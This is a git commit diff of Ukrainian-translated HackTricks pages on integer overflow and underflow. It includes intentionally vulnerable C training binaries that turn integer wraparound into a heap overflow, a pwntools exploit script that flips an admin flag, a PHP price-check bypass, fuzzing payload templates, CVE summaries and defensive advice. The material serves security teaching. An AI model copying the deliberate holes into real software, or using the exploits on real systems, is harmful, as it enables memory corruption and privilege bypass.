Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo

This commit is contained in:
Translator 2025-09-07 14:59:42 +00:00
parent 49ae00026e
commit e87565b138
4 changed files with 410 additions and 156 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md) - [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md) - [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
В основі **integer overflow** лежить обмеження, накладене **розміром** типів даних у програмуванні та **тлумаченням** цих даних.
Наприклад, **8-bit unsigned integer** може представляти значення від **0 до 255**. Якщо ви намагаєтеся зберегти значення 256 в 8-bit unsigned integer, воно обертається до 0 через обмеження ємності пам'яті. Аналогічно, для **16-bit unsigned integer**, який може містити значення від **0 до 65,535**, додавання 1 до 65,535 поверне значення до 0.
Крім того, **8-bit signed integer** може представляти значення від **-128 до 127**. Це тому, що один біт використовується для позначення знака (позитивного чи негативного), залишаючи 7 біт для представлення величини. Найменше від'ємне число подається як **-128** (binary `10000000`), а найбільше додатне — **127** (binary `01111111`).
Максимальні значення для поширених типів цілих чисел:
| Type | Розмір (біт) | Мінімальне значення | Максимальне значення |
|----------------|--------------|---------------------|----------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
### Максимальні значення
Для потенційних **web vulnerabilities** дуже важливо знати максимально підтримувані значення:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Приклади
### Pure overflow
Виведений результат буде 0, оскільки ми переповнили char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Розгляньте ситуацію, коли зі вхідних даних користувача зчитується знакове ціле значення, а потім використовується в контексті, який трактує його як беззнакове ціле, без належної валідації:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
У цьому прикладі, якщо користувач вводить від’ємне число, воно буде інтерпретоване як велике беззнакове ціле через спосіб трактування бінарних значень, що може призвести до непередбаченої поведінки.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Скомпілюйте його за допомогою:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Приклад
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Скомпілюйте це за допомогою:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Інші приклади
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Для зберігання розміру пароля використовується лише 1B, тому можна його overflow і змусити думати, що його довжина 4, хоча насправді вона 260, щоб bypass перевірку довжини
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Задані кілька чисел — знайдіть за допомогою z3 нове число, яке, помножене на перше, дасть друге:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Для зберігання розміру пароля використовується лише 1B, тому можна його overflow і змусити думати, що його довжина 4, хоча насправді вона 260, щоб bypass перевірку довжини і перезаписати в stack наступну локальну змінну та bypass обидва захисти
## ARM64
Це **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Basic Information
В основі **переповнення цілого числа** лежить обмеження, накладене на **розмір** типів даних у комп'ютерному програмуванні та **інтерпретацію** даних.
Наприклад, **8-бітне беззнакове ціле число** може представляти значення від **0 до 255**. Якщо ви спробуєте зберегти значення 256 в 8-бітному беззнаковому цілому числі, воно обернеться назад до 0 через обмеження його ємності. Аналогічно, для **16-бітного беззнакового цілого числа**, яке може містити значення від **0 до 65,535**, додавання 1 до 65,535 поверне значення назад до 0.
Більше того, **8-бітне знакове ціле число** може представляти значення від **-128 до 127**. Це пов'язано з тим, що один біт використовується для представлення знака (позитивний або негативний), залишаючи 7 біт для представлення величини. Найбільш негативне число представляється як **-128** (бінарне `10000000`), а найбільш позитивне число — **127** (бінарне `01111111`).
### Max values
Для потенційних **веб-уразливостей** дуже цікаво знати максимальні підтримувані значення:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Приклади
### Чистий переповнень
Надрукований результат буде 0, оскільки ми переповнили char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Розгляньте ситуацію, коли підписане ціле число зчитується з введення користувача, а потім використовується в контексті, який розглядає його як беззнакове ціле число, без належної валідації:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
У цьому прикладі, якщо користувач введе від'ємне число, воно буде інтерпретовано як велике беззнакове ціле число через спосіб інтерпретації двійкових значень, що може призвести до несподіваної поведінки.
### Інші приклади
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Використовується лише 1B для зберігання розміру пароля, тому можливо переповнити його і змусити думати, що його довжина 4, хоча насправді вона становить 260, щоб обійти захист перевірки довжини
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Дано кілька чисел, знайдіть, використовуючи z3, нове число, яке, помножене на перше, дасть друге:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Використовується лише 1B для зберігання розміру пароля, тому можливо переповнити його і змусити думати, що його довжина 4, хоча насправді вона становить 260, щоб обійти захист перевірки довжини та перезаписати в стеку наступну локальну змінну і обійти обидва захисти
## ARM64
Це **не змінюється в ARM64**, як ви можете побачити в [**цьому блозі**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Цілочисельний переповнень (Веб-додатки) # Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> Ця сторінка зосереджена на тому, як **цілочисельні переповнення/обрізання можуть бути використані в веб-додатках і браузерах**. Для експлуатаційних примітивів всередині рідних бінарних файлів ви можете продовжити читати присвячену сторінку: > Ця сторінка зосереджена на тому, як **integer overflows/truncations can be abused in web applications and browsers**. Для exploitation primitives всередині native binaries ви можете продовжити читати присвячену сторінку:
> >
> >
{{#ref}} {{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md > ../../binary-exploitation/integer-overflow-and-underflow.md
> > {{#endref}}
{{#endref}}
--- ---
## 1. Чому цілочисельна математика все ще важлива в вебі ## 1. Чому операції з цілими числами все ще важливі в вебі
Навіть якщо більшість бізнес-логіки в сучасних стеку написано на *безпечних для пам'яті* мовах, підлягаюча середа виконання (або сторонні бібліотеки) врешті-решт реалізована на C/C++. Коли числа, контрольовані користувачем, використовуються для виділення буферів, обчислення зсувів або виконання перевірок довжини, **переповнення 32-бітного або 64-бітного типу може перетворити, здавалося б, безпечний параметр на читання/запис за межами допустимого, обхід логіки або DoS**. Навіть якщо більшість business-logic у сучасних стеках написана мовами *memory-safe*, підлягаючий runtime (або сторонні бібліотеки) в кінцевому підсумку реалізований на C/C++. Коли числа, контрольовані користувачем, використовуються для виділення буферів, обчислення зсувів або перевірок довжини, **a 32-bit or 64-bit wrap-around may transform an apparently harmless parameter into an out-of-bounds read/write, a logic bypass or a DoS**.
Типова поверхня атаки: Типова поверхня атаки:
1. **Числові параметри запиту** класичні поля id, offset або count. 1. **Numeric request parameters** класичні поля id, offset або count.
2. **Заголовки довжини/розміру** Content-Length, довжина кадру WebSocket, HTTP/2 continuation_len тощо. 2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len тощо.
3. **Метадані формату файлу, що обробляються на стороні сервера або клієнта** розміри зображень, розміри частин, таблиці шрифтів. 3. **File-format metadata parsed server-side or client-side** розміри зображень, розміри chunkів, таблиці шрифтів.
4. **Перетворення на рівні мови** знакові↔незнакові перетворення в PHP/Go/Rust FFI, обрізання JS Number → int32 всередині V8. 4. **Language-level conversions** signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Аутентифікація та бізнес-логіка** значення купонів, ціни або обчислення балансу, які тихо переповнюються. 5. **Authentication & business logic** значення купонів, ціни або обчислення балансу, які мовчки переповнюються.
--- ---
## 2. Останні реальні вразливості (2023-2025) ## 2. Останні реальні вразливості (2023-2025)
| Рік | Компонент | Корінна причина | Вплив | | Year | Component | Root cause | Impact |
|------|-----------|-----------|--------| |------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Переповнення множення 32-бітного типу при обчисленні розміру декодованого пікселя | Викликало 0-day у Chrome (BLASTPASS на iOS), дозволило *віддалене виконання коду* всередині пісочниці рендерера. | | 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Спричинила Chrome 0-day (BLASTPASS on iOS), дозволила *remote code execution* всередині renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | Обрізання до 32-бітного типу при збільшенні JSArray призводить до запису за межами допустимого на резервному сховищі | Віддалене виконання коду після одного відвідування. | | 2024 | **V8 CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution після одного відвідування. |
| 2025 | **Apollo GraphQL Server** (неопублікований патч) | Використання 32-бітного знакового цілого числа для аргументів пагінації first/last; негативні значення переповнюються до величезних позитивних | Обхід логіки та виснаження пам'яті (DoS). | | 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Обхід логіки & виснаження пам'яті (DoS). |
--- ---
## 3. Стратегія тестування ## 3. Стратегія тестування
### 3.1 Чек-лист граничних значень ### 3.1 Шпаргалка граничних значень
Надсилайте **екстремальні знакові/незнакові значення** скрізь, де очікується ціле число: Відправляйте **extreme signed/unsigned values** у будь-якому місці, де очікується ціле число:
``` ```
-1, 0, 1, -1, 0, 1,
127, 128, 255, 256, 127, 128, 255, 256,
@ -50,10 +49,10 @@
0x7fffffff, 0x80000000, 0xffffffff 0x7fffffff, 0x80000000, 0xffffffff
``` ```
Інші корисні формати: Інші корисні формати:
* Hex (0x100), восьмковий (0377), науковий (1e10), JSON big-int (9999999999999999999). * Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Дуже довгі рядки цифр (>1kB) для впливу на власні парсери. * Дуже довгі рядки цифр (>1kB), щоб перевантажити кастомні парсери.
### 3.2 Шаблон Burp Intruder ### 3.2 Шаблон для Burp Intruder
``` ```
§INTEGER§ §INTEGER§
Payload type: Numbers Payload type: Numbers
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
``` ```
### 3.3 Fuzzing бібліотеки та середовища виконання ### 3.3 Fuzzing бібліотеки та середовища виконання
* **AFL++/Honggfuzz** з libFuzzer обгорткою навколо парсера (наприклад, WebP, PNG, protobuf). * **AFL++/Honggfuzz** з обгорткою libFuzzer навколо парсера (наприклад, WebP, PNG, protobuf).
* **Fuzzilli** граматично обізнаний фуззинг JavaScript-движків для виявлення обрізання цілих чисел у V8/JSC. * **Fuzzilli** grammar-aware fuzzing рушіїв JavaScript для виявлення усічень цілих чисел у V8/JSC.
* **boofuzz** фуззинг мережевих протоколів (WebSocket, HTTP/2), зосереджений на полях довжини. * **boofuzz** network-protocol fuzzing (WebSocket, HTTP/2), зосереджений на полях довжини.
--- ---
## 4. Шаблони експлуатації ## 4. Exploitation patterns
### 4.1 Обхід логіки в серверному коді (приклад PHP) ### 4.1 Logic bypass у коді на стороні сервера (приклад PHP)
```php ```php
$price = (int)$_POST['price']; // expecting cents (0-10000) $price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible $total = $price * 100; // ← 32-bit overflow possible
@ -79,28 +78,30 @@ die('Too expensive');
} }
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */ /* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
``` ```
### 4.2 Переповнення купи через декодер зображень (libwebp 0-day) ### 4.2 Heap overflow via image decoder (libwebp 0-day)
Декодер WebP без втрат множить ширину зображення × висота × 4 (RGBA) всередині 32-бітного цілого числа. Створений файл з розмірами 16384 × 16384 переповнює множення, виділяє короткий буфер і, в результаті, записує **~1GB** декомпресованих даних за межі купи що призводить до RCE в кожному браузері на базі Chromium до версії 116.0.5845.187. Декодер WebP для lossless-зображень множив ширину × висоту × 4 (RGBA) всередині 32-bit int. Сфабрикований файл з розмірами 16384 × 16384 викликає переповнення множення, виділяє занадто малий буфер і потім записує **~1GB** розпакованих даних поза межами heap — що призводить до RCE в усіх Chromium-based браузерах до версії 116.0.5845.187.
### 4.3 Ланцюг XSS/RCE на основі браузера ### 4.3 Browser-based XSS/RCE chain
1. **Переповнення цілого числа** в V8 дає довільний читання/запис. 1. **Integer overflow** у V8 надає arbitrary read/write.
2. Вийти з пісочниці за допомогою другого багу або викликати нативні API для скидання корисного навантаження. 2. Утікають із sandbox за допомогою другої уразливості або викликають native APIs для розгортання payload.
3. Корисне навантаження потім впроваджує шкідливий скрипт у контекст походження → збережене XSS. 3. Потім payload впроваджує шкідливий скрипт в origin context → stored XSS.
--- ---
## 5. Захисні рекомендації ## 5. Defensive guidelines
1. **Використовуйте широкі типи або перевірену математику** наприклад, size_t, Rust checked_add, Go math/bits.Add64. 1. **Use wide types or checked math** e.g., size_t, Rust checked_add, Go math/bits.Add64.
2. **Раннє перевірка діапазонів**: відхиляйте будь-яке значення поза межами бізнес-домену перед арифметикою. 2. **Validate ranges early**: reject any value outside business domain before arithmetic.
3. **Увімкніть санітайзери компілятора**: -fsanitize=integer, UBSan, Go race detector. 3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **Прийміть фуззинг у CI/CD** поєднайте зворотний зв'язок з покриттям з граничними корпусами. 4. **Adopt fuzzing in CI/CD** combine coverage feedback with boundary corpora.
5. **Залишайтеся з патчами** помилки переповнення цілого числа в браузерах часто використовуються в зброї протягом кількох тижнів. 5. **Stay patched** browser integer overflow bugs are frequently weaponised within weeks.
--- ---
## Посилання
* [NVD CVE-2023-4863 переповнення буфера купи libwebp](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Розуміння V8 CVE-2024-0519"](https://googleprojectzero.github.io/) ## References
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}